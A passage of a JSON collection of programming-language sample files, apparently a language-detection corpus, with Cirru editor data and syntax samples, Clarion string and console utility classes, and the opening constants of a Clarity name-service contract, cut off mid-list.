    "content": "\n{}\n  :users $ {}\n    |root $ {} (:id |root) (:name |root) (:nickname |root) (:avatar nil) (:theme :star-trail)\n  :ir $ {} (:package |app)\n    :root $ {} (:ns |main) (:def |main!)\n    :files $ {}\n      |app.comp.page-members $ {}\n        :ns $ {} (:type :expr) (:by |S1lNv50FW) (:at 1550076412760) (:id |ytgdqU0an)\n          :data $ {}\n            |T $ {} (:type :leaf) (:text |ns) (:id |HyWduBt42qW) (:by |root) (:at 1504777353661)\n            |j $ {} (:type :leaf) (:text |app.comp.page-members) (:id |B1zOOSKN39W) (:by |root) (:at 1504777353661)\n            |r $ {} (:type :expr) (:id |SJgtdStV39Z) (:by nil) (:at 1504777353661)\n              :data $ {}\n                |T $ {} (:type :leaf) (:text |:require) (:id |SJ-F_rYVn5W) (:by |root) (:at 1504777353661)\n                |j $ {} (:type :expr) (:id |HJMKOSt43q-) (:by nil) (:at 1504777353661)\n                  :data $ {}\n                    |T $ {} (:type :leaf) (:text |[]) (:id |HJQKdrYNh9-) (:by |root) (:at 1504777353661)\n                    |j $ {} (:type :leaf) (:text |clojure.string) (:id |S1VF_rFVh5Z) (:by |root) (:at 1504777353661)\n                    |r $ {} (:type :leaf) (:text |:as) (:id |r1HF_SK43c-) (:by |root) (:at 1504777353661)\n                    |v $ {} (:type :leaf) (:text |string) (:id |SkLKurKE25Z) (:by |root) (:at 1504777353661)\n                |r $ {} (:type :expr) (:id |S1vY_HYE2cZ) (:by nil) (:at 1504777353661)\n                  :data $ {}\n                    |T $ {} (:type :leaf) (:text |[]) (:id |SkOFdrYN25W) (:by |root) (:at 1504777353661)\n                    |j $ {} (:type :leaf) (:text |hsl.core) (:id |SktFdHtV29b) (:by |root) (:at 1504777353661)\n                    |r $ {} (:type :leaf) (:text |:refer) (:id |BycYOSFVnqW) (:by |root) (:at 1504777353661)\n                    |v $ {} (:type :expr) (:id |S1oYOHYNh5Z) (:by nil) (:at 1504777353661)\n                      :data $ {}\n                        |T $ {} (:type :leaf) (:text |[]) (:id |H13YOSKE3qZ) (:by |root) (:at 1504777353661)\n                        |j $ {} (:type :leaf) (:text |hsl) (:id |HJTK_rYN29Z) (:by |root) (:at 1504777353661)\n                |v $ {} (:type :expr) (:id |BkAKuHFVh9-) (:by nil) (:at 1504777353661)\n                  :data $ {}\n                    |T $ {} (:type :leaf) (:text |[]) (:id |rkkqOSKVnqZ) (:by |root) (:at 1504777353661)\n                    |j $ {} (:type :leaf) (:text |respo-ui.core) (:id |S1gcdBKEhq-) (:by |root) (:at 1504777353661)\n                    |r $ {} (:type :leaf) (:text |:as) (:id |S1WqdHY42qW) (:by |root) (:at 1504777353661)\n                    |v $ {} (:type :leaf) (:text |ui) (:id |HkGcOBtN3cZ) (:by |root) (:at 1504777353661)\n                |y $ {} (:type :expr) (:id |HkRCrER6-) (:by nil) (:at 1504777353661)\n                  :data $ {}\n                    |T $ {} (:type :leaf) (:text |[]) (:id |r1IOdSKV29W) (:by |root) (:at 1504777353661)\n                    |j $ {} (:type :leaf) (:text |respo.core) (:id |SywOOSYE2cb) (:by |root) (:at 1504777353661)\n                    |r $ {} (:type :leaf) (:text |:refer) (:id |Hk__uBtEhcW) (:by |root) (:at 1504777353661)\n                    |v $ {} (:type :expr) (:id |SyFddHYE39W) (:by nil) (:at 1504777353661)\n                      :data $ {}\n                        |T $ {} (:type :leaf) (:text |[]) (:id |rJqOOSK4hcW) (:by |root) (:at 1504777353661)\n                        |j $ {} (:type :leaf) (:text |defcomp) (:id |SJs_OSY435b) (:by |root) (:at 1504777353661)\n                        |r $ {} (:type :leaf) (:text |<>) (:id |r1h_OBKNncW) (:by |root) (:at 1504777353661)\n                        |t $ {} (:type :leaf) (:text |list->) (:id |SkeLXDDlbf) (:by |root) (:at 1512236830915)\n                        |v $ {} (:type :leaf) (:text |span) (:id |ry6uuBY4h9Z) (:by |root) (:at 1504777353661)\n                        |x $ {} (:type :leaf) (:text |div) (:id |S1AuOrYEncZ) (:by |root) (:at 1504777353661)\n                        |y $ {} (:type :leaf) (:text |a) (:id |r11t_HK435Z) (:by |root) (:at 1504777353661)\n                |yT $ {} (:type :expr) (:id |S1ksOSKEn9-) (:by nil) (:at 1504777353661)\n                  :data $ {}\n                    |T $ {} (:type :leaf) (:text |[]) (:id |rkei_SFV39W) (:by |root) (:at 1504777353661)\n                    |j $ {} (:type :leaf) (:text |respo.comp.space) (:id |rJbsdBFEncZ) (:by |root) (:at 1504777353661)\n                    |r $ {} (:type :leaf) (:text |:refer) (:id |BJzjOBYNh9W) (:by |root) (:at 1504777353661)\n                    |v $ {} (:type :expr) (:id |HJ7iuHtN3qb) (:by nil) (:at 1504777353661)\n                      :data $ {}\n                        |T $ {} (:type :leaf) (:text |[]) (:id |HkEsOrFV39b) (:by |root) (:at 1504777353661)\n                        |j $ {} (:type :leaf) (:text |=<) (:id |r1BouSYV39Z) (:by |root) (:at 1504777353661)\n                |yj $ {} (:type :expr) (:by |S1lNv50FW) (:at 1550076422286) (:id |RWcAq7jGbe)\n                  :data $ {}\n                    |T $ {} (:type :leaf) (:by |S1lNv50FW) (:at 1550076422664) (:text |[]) (:id |aauVImKdc)\n                    |j $ {} (:type :leaf) (:by |S1lNv50FW) (:at 1550076423285) (:text \"|\\\"url-parse\") (:id |oSXAyVtQXl)\n                    |r $ {} (:type :leaf) (:by |S1lNv50FW) (:at 1550076423983) (:text |:as) (:id |Ph_pMR_iX)\n                    |v $ {} (:type :leaf) (:by |S1lNv50FW) (:at 1550076428729) (:text |url-parse) (:id |FPv0anxaXD)\n        :defs $ {}\n          |comp-page-members $ {} (:type :expr) (:id |SkPj_HY43cZ) (:by nil) (:at 1504777353661)\n            :data $ {}\n              |T $ {} (:type :leaf) (:text |defcomp) (:id |r1_oOSY43c-) (:by |root) (:at 1504777353661)\n              |j $ {} (:type :leaf) (:text |comp-page-members) (:id |SktiOrtN2q-) (:by |root) (:at 1504777353661)\n              |r $ {} (:type :expr) (:id |S19idBYN29Z) (:by nil) (:at 1504777353661)\n                :data $ {}\n                  |T $ {} (:type :leaf) (:text |router-data) (:id |rJosuHFN25b) (:by |root) (:at 1504777353661)\n                  |j $ {} (:type :leaf) (:text |session-id) (:id |BJnjOHKV39Z) (:by |root) (:at 1504777353661)\n              |v $ {} (:type :expr) (:id |S1aoOBFN25W) (:by nil) (:at 1504777353661)\n                :data $ {}\n                  |T $ {} (:type :leaf) (:text |div) (:id |ByAjdrYV2qW) (:by |root) (:at 1504777353661)\n                  |j $ {} (:type :expr) (:id |SyJnOSFEn5W) (:by nil) (:at 1504777353661)\n                    :data $ {}\n                      |T $ {} (:type :leaf) (:text |{}) (:id |ByenOHFNh9Z) (:by |root) (:at 1504777353661)\n                      |j $ {} (:type :expr) (:id |r1-3_BFN25Z) (:by nil) (:at 1504777353661)\n                        :data $ {}\n                          |T $ {} (:type :leaf) (:text |:style) (:id |rJznuSKEhcZ) (:by |root) (:at 1504777353661)\n                          |j $ {} (:type :expr) (:id |SyQn_StEn5W) (:by nil) (:at 1504777353661)\n                            :data $ {}\n                              |T $ {} (:type :leaf) (:text |merge) (:id |Sy42OBtEnqW) (:by |root) (:at 1504777353661)\n                              |j $ {} (:type :leaf) (:text |ui/flex) (:id |HJSnOSKN2qZ) (:by |root) (:at 1504777353661)\n                              |r $ {} (:type :leaf) (:text |style-members) (:id |BkL3_HFN3qZ) (:by |root) (:at 1504777353661)\n          |style-bookmark $ {} (:type :expr) (:id |SketBt429Z) (:by nil) (:at 1504777353661)\n            :data $ {}\n              |T $ {} (:type :leaf) (:text |def) (:id |rkZYBKV39-) (:by |root) (:at 1504777353661)\n              |j $ {} (:type :leaf) (:text |style-bookmark) (:id |ByGYBK4h5Z) (:by |root) (:at 1504777353661)\n              |r $ {} (:type :expr) (:id |BJmtrFN35W) (:by nil) (:at 1504777353661)\n                :data $ {}\n                  |T $ {} (:type :leaf) (:text |{}) (:id |HyVYHKNhc-) (:by |root) (:at 1504777353661)\n                  |j $ {} (:type :expr) (:id |rkHtHKNn5W) (:by nil) (:at 1504777353661)\n                    :data $ {}\n                      |T $ {} (:type :leaf) (:text |:font-family) (:id |BJItBtVnq-) (:by |root) (:at 1504777353661)\n                      |j $ {} (:type :leaf) (:text ||Menlo,monospace) (:id |SJwtBFN35-) (:by |root) (:at 1504777353661)\n                  |r $ {} (:type :expr) (:id |H1dFrF439W) (:by nil) (:at 1504777353661)\n                    :data $ {}\n                      |T $ {} (:type :leaf) (:text |:min-width) (:id |rJFFStE2qZ) (:by |root) (:at 1504777353661)\n                      |j $ {} (:type :leaf) (:text |200) (:id |S1cFBY42cW) (:by |root) (:at 1504777353661)\n                  |v $ {} (:type :expr) (:id |HysKrF43qZ) (:by nil) (:at 1504777353661)\n                    :data $ {}\n                      |T $ {} (:type :leaf) (:text |:display) (:id |Sk3tBtEh9W) (:by |root) (:at 1504777353661)\n                      |j $ {} (:type :leaf) (:text |:inline-block) (:id |H1TFBFN29-) (:by |root) (:at 1504777353661)\n\n          |style-row $ {} (:type :expr) (:id |H1hWFSYN3cb) (:by nil) (:at 1504777353661)\n            :data $ {}\n              |T $ {} (:type :leaf) (:text |def) (:id |SJpWKrKEn9W) (:by |root) (:at 1504777353661)\n              |j $ {} (:type :leaf) (:text |style-row) (:id |BkAWFHFV25-) (:by |root) (:at 1504777353661)\n              |r $ {} (:type :expr) (:id |BJJzKSFVh9-) (:by nil) (:at 1504777353661)\n                :data $ {}\n                  |T $ {} (:type :leaf) (:text |{}) (:id |ByeztHYEncZ) (:by |root) (:at 1504777353661)\n                  |j $ {} (:type :expr) (:id |B1-GYBtEhqb) (:by nil) (:at 1504777353661)\n                    :data $ {}\n                      |T $ {} (:type :leaf) (:text |:cursor) (:id |SkzMtSKN39Z) (:by |root) (:at 1504777353661)\n                      |j $ {} (:type :leaf) (:text |:pointer) (:id |HJmGtHtVn9-) (:by |root) (:at 1504777353661)\n        :proc $ {} (:type :expr) (:id |S1Li_rF4n9Z) (:by nil) (:at 1504777353661) (:data $ {})\n"
  },
  {
    "path": "samples/Cirru/comma.cirru",
    "content": "\nprint (, a)\n  a\n    , b\n      , c (, d)"
  },
  {
    "path": "samples/Cirru/demo.cirru",
    "content": "\ndefine a (read cd) $ if (> a cd)\n  print demo\n  print \"not demo\"\n\nsay $ print a $ save $ b $ x $ c 8\n\nprint fun"
  },
  {
    "path": "samples/Cirru/folded-beginning.cirru",
    "content": "\n  a\nb\n"
  },
  {
    "path": "samples/Cirru/folding.cirru",
    "content": "\na $\n\nb $ c\n\nd $ e $ f\n\ng $ h $ i j $ k $\n"
  },
  {
    "path": "samples/Cirru/html.cirru",
    "content": "\ndoctype\n\nhtml\n  head\n    title $ = a\n    link (:rel a) $ :href b\n    link (:rel icon) $ :href a\n    meta $ :charset utf-8\n  body\n    #about\n      .line\n        a (:href a) $ = b\n        span $ = \" \"\n        a (:href a) $ = b\n      .line $ span $ = a\n    #list\n      .year $ = 2014\n      .month $ = May\n      .post $ a.link (:href) $ =\n      .month $ = Apr\n      .post $ a.link (:href a) $ = b"
  },
  {
    "path": "samples/Cirru/indent.cirru",
    "content": "\na $ b $ c\n\ne f\n  (g)\n  h"
  },
  {
    "path": "samples/Cirru/line.cirru",
    "content": "\nline 1\n\nline 2\n\nline-3\n\nline 4"
  },
  {
    "path": "samples/Cirru/parentheses.cirru",
    "content": "\n3 4 (1) 4\n\n((((1))))\n\nx"
  },
  {
    "path": "samples/Cirru/quote.cirru",
    "content": "\na b c d\n\n\"a b c d\"\n\n\"a b \\\" c d\""
  },
  {
    "path": "samples/Cirru/spaces.cirru",
    "content": "\n\"a b\" \"c d\""
  },
  {
    "path": "samples/Cirru/template.cirru",
    "content": "doctype\n\nhtml\n  head\n    title \"From Java to Kotlin\"\n    meta (:charset utf-8)\n    link (:rel stylesheet) (:href css/style.css)\n    link (:rel stylesheet) (:href css/highlightjs-github.css)\n    script (:src js/highlight.9.4.0.js)\n    script \"hljs.initHighlightingOnLoad();\"\n\n  body\n    a\n      :href\n        = https://github.com/fabiomsr/from-java-to-kotlin\n      :class\n        = github-corner\n      :aria-label\n        = View source on Github\n\n    style\n      = \".github-corner:hover .octo-arm{animation:octocat-wave 560ms ease-in-out}@keyframes octocat-wave{0%,100%{transform:rotate(0)}20%,60%{transform:rotate(-25deg)}40%,80%{transform:rotate(10deg)}}@media (max-width:500px){.github-corner:hover .octo-arm{animation:none}.github-corner .octo-arm{animation:octocat-wave 560ms ease-in-out}}\"\n\n    #note\n      = \"From Java to Kotlin\"\n\n    ul\n      li\n        a\n          :class\n            = selected\n          :href\n            = index.html\n          = Basic\n      li\n        a\n          :href\n            = functions.html\n          = Functions\n      li\n        a\n          :href\n            = classes.html\n          = Classes\n\n\n    .section\n      .title BASICS\n      .case (.name \"Print\") $ .pair\n        .card (.lang Java) $ pre.code $ code (@insert ../code/java/basic/print.java)\n        .card (.lang Kotlin) $ pre.code $ code (@insert ../code/kotlin/basic/print.kt)\n      .case (.name \"Variables I\") $ .pair\n        .card (.lang Java) $ pre.code $ code (@insert ../code/java/basic/variables-i.java)\n        .card (.lang Kotlin) $ pre.code $ code (@insert ../code/kotlin/basic/variables-i.kt)\n      .case (.name \"Variables II\") $ .pair\n        .card (.lang Java) $ pre.code $ code (@insert ../code/java/basic/variables-ii.java)\n        .card (.lang Kotlin) $ pre.code $ code (@insert ../code/kotlin/basic/variables-ii.kt)\n      .case (.name \"Null I\") $ .pair\n        .card (.lang Java) $ pre.code $ code (@insert ../code/java/basic/null-i.java)\n        .card (.lang Kotlin) $ pre.code $ code (@insert ../code/kotlin/basic/null-i.kt)\n\n    .section\n      .title BASICS\n      .case (.name \"Bits Operations\") $ .pair\n        .card (.lang Java) $ pre.code $ code (@insert ../code/java/basic/bits-operations.java)\n        .card (.lang Kotlin) $ pre.code $ code (@insert ../code/kotlin/basic/bits-operations.kt)\n      .case (.name \"Is As In\") $ .pair\n        .card (.lang Java) $ pre.code $ code (@insert ../code/java/basic/operations.java)\n        .card (.lang Kotlin) $ pre.code $ code (@insert ../code/kotlin/basic/operations.kt)\n      .case (.name \"Smart Cast\") $ .pair\n        .card (.lang Java) $ pre.code $ code (@insert ../code/java/basic/cast.java)\n        .card (.lang Kotlin) $ pre.code $ code (@insert ../code/kotlin/basic/cast.kt)\n      .case (.name \"Switch / When\") $ .pair\n        .card (.lang Java) $ pre.code $ code (@insert ../code/java/basic/switch.java)\n        .card (.lang Kotlin) $ pre.code $ code (@insert ../code/kotlin/basic/when.kt)\n"
  },
  {
    "path": "samples/Cirru/unfolding.cirru",
    "content": "\nset\n  add 1 $\n  , x y\n  add 5 $\n  add 2"
  },
  {
    "path": "samples/Cirru/webpack.config.cirru",
    "content": "\nvar\n  fs $ require :fs\n  path $ require :path\n  webpack $ require :webpack\n\n= module.exports\n  {}\n    :mode :development\n    :entry $ {}\n      :main $ [] :webpack-hud :./src/main\n\n    :output $ {}\n      :path $ path.join __dirname :dist/\n      :filename :[name].js\n\n    :devtool :cheap-source-map\n\n    :resolve $ {}\n      :extensions $ [] :.js :.cirru :.json\n\n    :module $ {}\n      :rules $ []\n        {} (:test /\\.cirru$) (:exclude /node_modules)\n          :use :cirru-script-loader\n        {} (:test \"/\\\\.(png|jpg|gif)$\")\n          :loader :url-loader\n          :query $ {} (:limit 100)\n        {} (:test /\\.css$) $ :use\n          []\n            {} (:loader :style-loader)\n            {} (:loader :css-loader)\n\n    :devServer $ {}\n      :publicPath :/\n      :hot true\n      :compress true\n      :clientLogLevel :info\n      :disableHostCheck true\n      :host :0.0.0.0\n      :stats $ {}\n        :all false\n        :colors true\n        :errors true\n        :errorDetails true\n        :performance true\n        :reasons true\n        :timings true\n        :warnings true\n\n    :plugins $ []\n      new webpack.NamedModulesPlugin\n"
  },
  {
    "path": "samples/Clarion/CStringClass.clw",
    "content": "      Member()\r\n         omit('***$***',_VER_C55)\r\n_ABCDllMode_  EQUATE(0)\r\n_ABCLinkMode_ EQUATE(1)\r\n         ***$***\r\n      Include('Equates.CLW'),ONCE\r\n      Include('Keycodes.CLW'),ONCE\r\n      Include('Errors.CLW'),ONCE\r\n      Map\r\n      End ! map\r\n      Include('CStringClass.inc'),ONCE\r\nCStringClass.Construct PROCEDURE                       ! Declare Procedure\r\n  CODE\r\n  SELF.bufferSize  = DEFAULT_CS_BUFFER_SIZE\r\n  SELF.CS         &= New(CSTRING(SELF.bufferSize))\r\nCStringClass.Destruct PROCEDURE                        ! Declare Procedure\r\n  CODE\r\n  Dispose(SELF.cs)\r\nCStringClass.Cat PROCEDURE  (STRING pStr) !,*CSTRING,PROC ! Declare Procedure\r\nnewLen                       LONG,AUTO\r\noldCS                        &CSTRING\r\n  CODE\r\n  newLen = Len(pStr)\r\n  IF (newLen+SELF.strLength+2) > SELF.newStrSize\r\n    ! Only grow the internal string if the result of the cat will be larger than the string currently is.\r\n    ! The reason for the \"+2\" is because this is used in the string slicing outside this IF. Without this matching +2 there is potential for an out of bounds slice which would be bad!\r\n\r\n    ! Save a temporary copy of the old string so we can us it in the concatination after we have grown it!\r\n    oldCS &= New(CSTRING(SELF.strLength+1))\r\n    oldCS = SELF.CS\r\n    Dispose(SELF.CS)\r\n\r\n    SELF.newStrSize = newLen + SELF.strLength + 1 + SELF.bufferSize\r\n    SELF.CS &= New(CSTRING(SELF.newStrSize))\r\n    SELF.CS = oldCS\r\n    Dispose(oldCS)\r\n  END\r\n\r\n  ! Append the new string directly to the end of the old one.\r\n  SELF.CS[SELF.strLength+1 : SELF.strLength+newLen] = pStr\r\n  ! And terminate the CSTRING manually\r\n  SELF.CS[SELF.strLength+newLen+1] = '<0>'\r\n\r\n  ! This is the same as doing \"SELF.strLength = Len(SELF.CS)\" but the Len() is _really_ slow on large strings. This is much faster!\r\n  SELF.strLength += newLen\r\n\r\n  ! This is what it used to be:\r\n  ! SELF.Str(SELF.Str() & s)\r\n  ! It is a nice and neat solution but performance, especially on large strings was terrible!\r\n\r\n  RETURN SELF.Str()\r\nCStringClass.Str PROCEDURE  (STRING pStr) !,*CSTRING, PROC   ! Declare Procedure\r\n  CODE\r\n  IF Len(pStr) > SELF.newStrSize\r\n    ! Only Dispose/New the internal string if the new one requires it.\r\n    ! This might be slightly innefficient in terms of memory usage when the string gets smaller\r\n    ! But it is _vasty_ better for performance when the string gets added to a lot.\r\n    Dispose(SELF.CS)\r\n    SELF.newStrSize = Len(pStr) + 1 + SELF.bufferSize\r\n    SELF.CS &= New(CSTRING(SELF.newStrSize))\r\n  END\r\n\r\n  SELF.CS        = pStr\r\n  SELF.strLength = Len(SELF.CS)\r\n\r\n  RETURN SELF.CS\r\nCStringClass.Len PROCEDURE  !,LONG                     ! Declare Procedure\r\n  CODE\r\n  RETURN SELF.strLength\r\nCStringClass.Replace PROCEDURE  (STRING pFind, STRING pReplace) !,*CSTRING,PROC ! Declare Procedure\r\n! FindString , ReplaceWith\r\nlocate                       LONG,AUTO\r\nlastLocate                   LONG\r\n  CODE\r\n  LOOP\r\n    locate = InString(Upper(pFind), Upper(SELF.Str()), 1, lastLocate+1)\r\n    IF ~locate\r\n      BREAK\r\n    END\r\n\r\n    ! So we dont end up having recursive replacement.\r\n    lastLocate = locate + Len(pReplace)-1\r\n\r\n    SELF.Str(Sub(SELF.Str(), 1, locate-1)                  & |\r\n             pReplace                                      & |\r\n             Sub(SELF.Str(), locate+Len(pFind), SELF.Len())    |\r\n             )\r\n  END\r\n\r\n  RETURN SELF.Str()\r\nCStringClass.Str PROCEDURE  () !,*CSTRING              ! Declare Procedure 3\r\n  CODE\r\n  RETURN SELF.CS\r\n!------------------------------------------------------------------------------\r\nCStringClass.Contains PROCEDURE  (STRING pFind, BYTE pCaseSensitive=TRUE) !,BYTE ! Declare Procedure\r\n! Returns a value (TRUE) indicating whether the specified String occurs within this string.\r\n! Second parameter defaults to a case sensitive search.\r\n  CODE\r\n  IF pCaseSensitive = TRUE\r\n    IF InString(pFind, SELF.Str(), 1 , 1) > 0\r\n      RETURN TRUE\r\n    END\r\n  ELSE\r\n    IF InString(Lower(pFind), SELF.Lower(), 1 , 1) > 0\r\n      RETURN TRUE\r\n    END\r\n  END\r\n\r\n  RETURN FALSE\r\nCStringClass.Lower PROCEDURE  () !,STRING              ! Declare Procedure\r\n! Returns a \"Lowered\" version of the self.cs doesnt change the self.cs\r\n  CODE\r\n  RETURN Lower(SELF.CS)\r\nCStringClass.SubString PROCEDURE  (LONG pPosition, LONG pLength) !,STRING,PROC ! Declare Procedure\r\n  CODE\r\n  RETURN Sub(SELF.Str(), pPosition, pLength)\r\nCStringClass.ToLower PROCEDURE  () !,*CSTRING,PROC     ! Declare Procedure\r\n! Converts this string to lowercase and returns the converted string\r\n\r\n  CODE\r\n  RETURN SELF.Str(SELF.Lower())\r\nCStringClass.ToUpper PROCEDURE  () !,*CSTRING,PROC     ! Declare Procedure\r\n! Converts this string to uppercase and returns the converted string\r\n\r\n  CODE\r\n  RETURN SELF.Str(SELF.Upper())\r\nCStringClass.Trim PROCEDURE  () !,*CSTRING,PROC        ! Declare Procedure\r\n  CODE\r\n  SELF.Str(Left(SELF.Str()))\r\n  SELF.Str(Clip(SELF.Str()))\r\n  RETURN SELF.Str()\r\nCStringClass.Upper PROCEDURE  () !,STRING              ! Declare Procedure\r\n  CODE\r\n  RETURN Upper(SELF.Str())\r\nCStringClass.IndexOf PROCEDURE  (STRING pLookIn, BYTE pCaseSensitive=TRUE) !,LONG ! Declare Procedure\r\n! Returns the index of the first parameter (pLookIn) is found within the SELF.CS\r\n! zero if it is not found\r\n  CODE\r\n  IF pCaseSensitive = TRUE\r\n    RETURN InString(SELF.Str(), pLookIn, 1 , 1)\r\n  ELSE\r\n    RETURN InString(SELF.Lower(), Lower(pLookIn), 1 , 1)\r\n  END\r\nCStringClass.FoundIn PROCEDURE  (STRING pLookIn, BYTE pCaseSensitive=TRUE) !,BYTE ! Declare Procedure\r\n! Returns TRUE if the first parameter (pLookIn) is found within the SELF.CS\r\n! FALSE if it is no\r\n  CODE\r\n  IF SELF.IndexOf(pLookIn, pCaseSensitive) > 0\r\n    RETURN TRUE\r\n  ELSE\r\n    RETURN FALSE\r\n  END\r\nCStringClass.SetBuffer PROCEDURE  (LONG pNewBuffer)    ! Declare Procedure\r\n  CODE\r\n  SELF.bufferSize = pNewBuffer\r\nCStringClass.EscapeXml PROCEDURE  (<STRING pStr>) !,STRING ! Declare Procedure\r\nCS CStringClass\r\n  CODE\r\n  IF Omitted(pStr)=FALSE\r\n    CS.Str(pStr)\r\n  ELSE\r\n    ! Make a copy so we don't alter the original\r\n    CS.Str(SELF.Str())\r\n  END\r\n  CS.Replace('&', '&amp;')\r\n  CS.Replace('<', '&lt;')\r\n  CS.Replace('>', '&gt;')\r\n  CS.Replace('\"', '&quot;')\r\n  CS.Replace('''', '&apos;')\r\n\r\n  RETURN CS.Str()\r\n\r\n"
  },
  {
    "path": "samples/Clarion/ConsoleSupport.clw",
    "content": "      Member()\r\n      Include('ConsoleSupport.inc'),ONCE\r\n\t  Map\r\n        MODULE('32-bit Windows API')\r\n            ! General functions\r\n            GetLastError(),DWORD,PASCAL\r\n \r\n            ! Console functions\r\n            GetStdHandle(DWORD),HANDLE,PASCAL,PROC,RAW\r\n            WriteConsole(Handle,Long,Dword,long,long),bool,Raw,Pascal,name('WriteConsoleA')\r\n            ReadConsole(Handle,Long,Dword,long,long),bool,Raw,Pascal,name('ReadConsoleA')\r\n            SetConsoleTitle(Long),Bool,Raw,Pascal,name('SetConsoleTitleA')\r\n            GetConsoleTitle(Long,dword),Bool,Raw,Pascal,name('GetConsoleTitleA')\r\n            SetConsoleMode(Handle,dWord),BOOL,RAW,PASCAL\r\n            GetConsoleMode(Handle,Long),BOOL,RAW,PASCAL\r\n        End\r\n      End \r\n      \r\nConsoleSupport.Construct PROCEDURE\r\n\r\n  CODE\r\n\r\nConsoleSupport.Destruct PROCEDURE\r\n\r\n  CODE\r\n\r\nConsoleSupport.Init\t\t\t\t   PROCEDURE () !,BYTE,VIRTUAL \r\n  CODE\r\n\r\n    SELF.OutputHandle = GetStdHandle(STD_OUTPUT_HANDLE)\r\n    If SELF.OutputHandle = INVALID_HANDLE_VALUE\r\n        Halt(1,'Unable to get output handle (' & GetLastError() & ')')\r\n        RETURN INVALID_HANDLE_VALUE\r\n    End\r\n \r\n    SELF.InputHandle = GetStdHandle(STD_INPUT_HANDLE)\r\n    if SELF.InputHandle = INVALID_HANDLE_VALUE\r\n        Halt(2,'Unable to get console input handle (' & GetLastError() & ')')\r\n        RETURN INVALID_HANDLE_VALUE\r\n    End\r\n \r\n    If ~SetConsoleMode(SELF.InputHandle,ENABLE_PROCESSED_INPUT )\r\n        Halt(3,'Unable to set console mode (' & GetLastError() & ')')\r\n        RETURN INVALID_OTHER\r\n    End\r\n\r\n    RETURN FALSE\r\n\r\nConsoleSupport.WriteLine\t\t\t   PROCEDURE (STRING pText) !,BYTE,PROC,VIRTUAL \r\n  CODE\r\n    SELF.TextBuffer = SELF.Prefix & pText & '<13,10>'\r\n    If WriteConsole(SELF.OutputHandle, ADDRESS(SELF.TextBuffer), LEN(SELF.TextBuffer),ADDRESS(SELF.BytesWritten), NULL) = 0\r\n        Halt(4,'WriteConsoleError (' & GetLastError() & ')')\r\n        RETURN -1\r\n    End\r\n    RETURN FALSE\r\n\r\nConsolesupport.ReadKey  \t\t\t   PROCEDURE () !,STRING,PROC,VIRTUAL \r\n  CODE\r\n  SELF.WriteLine('Press any key to continue...')\r\n  Clear(SELF.InBuffer)\r\n  Loop\r\n    IF ReadConsole(SELF.InputHandle,Address(SELF.InBuffer),100,Address(SELF.BytesRead),NULL) = 0 THEN\r\n      Halt(5,'Error on read console (' & GetLastError() & ')')\r\n      Break\r\n    End\r\n  Until SELF.BytesRead > 0\r\n  RETURN SELF.InBuffer"
  },
  {
    "path": "samples/Clarion/HelloWorld.clw",
    "content": "  PROGRAM\r\n\r\n  MAP\r\n  END\r\n\r\n  CODE\r\n\r\n  MESSAGE('Hello World!')\r\n\r\n  RETURN"
  },
  {
    "path": "samples/Clarion/hello.clw",
    "content": "  MEMBER()\r\n  INCLUDE('HelloClass.inc'),ONCE\r\n  MAP\r\n  END\r\n\r\nHelloClass.Construct              PROCEDURE\r\n  CODE\r\nHelloClass.Destruct               PROCEDURE() !,VIRTUAL\r\n  CODE\r\nHelloClass.SayHello               PROCEDURE\r\n  CODE\r\n  MESSAGE('Hello World!')\r\n"
  },
  {
    "path": "samples/Clarity/bns.clar",
    "content": ";;;; Errors\n(define-constant ERR_PANIC 0)\n(define-constant ERR_NAMESPACE_PREORDER_NOT_FOUND 1001)\n(define-constant ERR_NAMESPACE_PREORDER_EXPIRED 1002)\n(define-constant ERR_NAMESPACE_PREORDER_ALREADY_EXISTS 1003)\n(define-constant ERR_NAMESPACE_UNAVAILABLE 1004)\n(define-constant ERR_NAMESPACE_NOT_FOUND 1005)\n(define-constant ERR_NAMESPACE_ALREADY_EXISTS 1006)\n(define-constant ERR_NAMESPACE_NOT_LAUNCHED 1007)\n(define-constant ERR_NAMESPACE_PRICE_FUNCTION_INVALID 1008)\n(define-constant ERR_NAMESPACE_PREORDER_CLAIMABILITY_EXPIRED 1009)\n(define-constant ERR_NAMESPACE_PREORDER_LAUNCHABILITY_EXPIRED 1010)\n(define-constant ERR_NAMESPACE_OPERATION_UNAUTHORIZED 1011)\n(define-constant ERR_NAMESPACE_STX_BURNT_INSUFFICIENT 1012)\n(define-constant ERR_NAMESPACE_BLANK 1013)\n(define-constant ERR_NAMESPACE_ALREADY_LAUNCHED 1014)\n(define-constant ERR_NAMESPACE_HASH_MALFORMED 1015)\n(define-constant ERR_NAMESPACE_CHARSET_INVALID 1016)\n\n(define-constant ERR_NAME_PREORDER_NOT_FOUND 2001)\n(define-constant ERR_NAME_PREORDER_EXPIRED 2002)\n(define-constant ERR_NAME_PREORDER_FUNDS_INSUFFICIENT 2003)\n(define-constant ERR_NAME_UNAVAILABLE 2004)\n(define-constant ERR_NAME_OPERATION_UNAUTHORIZED 2006)\n(define-constant ERR_NAME_STX_BURNT_INSUFFICIENT 2007)\n(define-constant ERR_NAME_EXPIRED 2008)\n(define-constant ERR_NAME_GRACE_PERIOD 2009)\n(define-constant ERR_NAME_BLANK 2010)\n(define-constant ERR_NAME_ALREADY_CLAIMED 2011)\n(define-constant ERR_NAME_CLAIMABILITY_EXPIRED 2012)\n(define-constant ERR_NAME_NOT_FOUND 2013)\n(define-constant ERR_NAME_REVOKED 2014)\n(define-constant ERR_NAME_TRANSFER_FAILED 2015)\n(define-constant ERR_NAME_PREORDER_ALREADY_EXISTS 2016)\n(define-constant ERR_NAME_HASH_MALFORMED 2017)\n(define-constant ERR_NAME_PREORDERED_BEFORE_NAMESPACE_LAUNCH 2018)\n(define-constant ERR_NAME_NOT_RESOLVABLE 2019)\n(define-constant ERR_NAME_COULD_NOT_BE_MINTED 2020)\n(define-constant ERR_NAME_COULD_NOT_BE_TRANSFERED 2021)\n(define-constant ERR_NAME_CHARSET_INVALID 2022)\n\n(define-constant ERR_PRINCIPAL_ALREADY_ASSOCIATED 3001)\n(define-constant ERR_INSUFFICIENT_FUNDS 4001)\n\n(define-constant NAMESPACE_PREORDER_CLAIMABILITY_TTL u144)\n(define-constant NAMESPACE_LAUNCHABILITY_TTL u52595)\n(define-constant NAME_PREORDER_CLAIMABILITY_TTL u144)\n(define-constant NAME_GRACE_PERIOD_DURATION u5000)\n\n(define-data-var attachment-index uint u0)\n\n;; Price tables\n(define-constant NAMESPACE_PRICE_TIERS (list\n  u640000000000\n  u64000000000 u64000000000\n  u6400000000 u6400000000 u6400000000 u6400000000\n  u640000000 u640000000 u640000000 u640000000 